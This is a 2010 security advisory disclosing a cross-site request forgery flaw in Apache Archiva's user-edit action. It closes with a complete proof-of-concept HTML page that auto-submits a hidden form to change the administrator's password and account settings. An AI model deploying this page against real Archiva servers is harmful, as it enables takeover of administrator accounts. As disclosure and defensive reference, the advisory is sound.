ANATOLIA SECURITY ADVISORY
--------------------------------------

### ADVISORY INFO ###
+ Title: Apache Archiva Cross-site Request Forgery Vulnerability
+ Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-001.txt
+ Advisory ID:  2010-001
+ Versions: Archiva 1.0 to 1.3.1
+ Date: 29/09/2010
+ CVE-ID: CVE-2010-3449
+ Vendor: The Apache Software Foundation
+ Impact: Gaining Administrator Privileges
+ CWE-ID: 352 
+ Credit: Anatolia Security 
+ References: http://archiva.apache.org/security.html


### VULNERABLE PRODUCT ###
+ Apache Archiva: "Apache Archiva is an extensible repository management software that helps taking care of your 
own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as 
Maven, Continuum, and ANT. Archiva offers several capabilities, amongst which remote repository proxying, security 
access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning 
functionality... and many more!"
+ Homepage: http://archiva.apache.org



### VULNERABILITY DETAILS ###
+ Description: Apache Archiva affects from Cross-site Request Forgery. Application don't check which form sends
credentials. Technically, attacker can create a specially crafted page and force archiva administrators to view it 
and change their credentials. For prevention from CSRF vulnerabilities, application needs anti-csrf token, captcha
and asking old password for action like change password. Vulnerability patched by the Apache Archiva Team.

+ Exploit/POC: http://www.anatoliasecurity.com/exploits/archiva-csrf-poc.txt

<!--

-*-*- ANATOLIA SECURITY (c) 2010 -*-*-

$ Title: Proof of Concept Code for Apache Archiva CSRF
$ ADV-ID: 2010-001
$ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-001.txt
$ Technical Details: http://www.anatoliasecurity.com

* PoC created by Eliteman 
~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com
~ web: elite.anatoliasecurity.com

-->
<html>
<head>
<title> Apache Archiva CSRF PoC </title>
</head>
<body>
<form id="userEditForm" name="useredit" action="http://archiva:8080/archiva/security/useredit.action" method="post">
  <input type="hidden" name="user.username" value="admin" id="userEditForm_user_username"/>
  <input type="hidden" name="user.fullName" value="OWNED0DAY" id="userEditForm_user_fullName"/>
  <input type="hidden" name="user.email" value="0day@zer0day.com" id="userEditForm_user_email"/>
  <input type="hidden" name="user.password" value="1337owned" id="userEditForm_user_password"/>
  <input type="hidden" name="user.confirmPassword" value="1337owned" id="userEditForm_user_confirmPassword"/>
  <input type="hidden" name="user.locked" value="true" id="userEditForm_user_locked"/>
  <input type="hidden" name="__checkbox_user.locked" value="true" />
  <input type="hidden" name="user.passwordChangeRequired" value="true" id="userEditForm_user_passwordChangeRequired"/>
  <input type="hidden" name="__checkbox_user.passwordChangeRequired" value="true" />
  <input type="hidden" name="username" value="admin" id="userEditForm_username"/>
  <input type="hidden" id="userEditForm__submit" name="method:submit" value="Update"/>
</form>
<script type="text/javascript">
  document.forms[0].submit();
</script>
</body>
</html>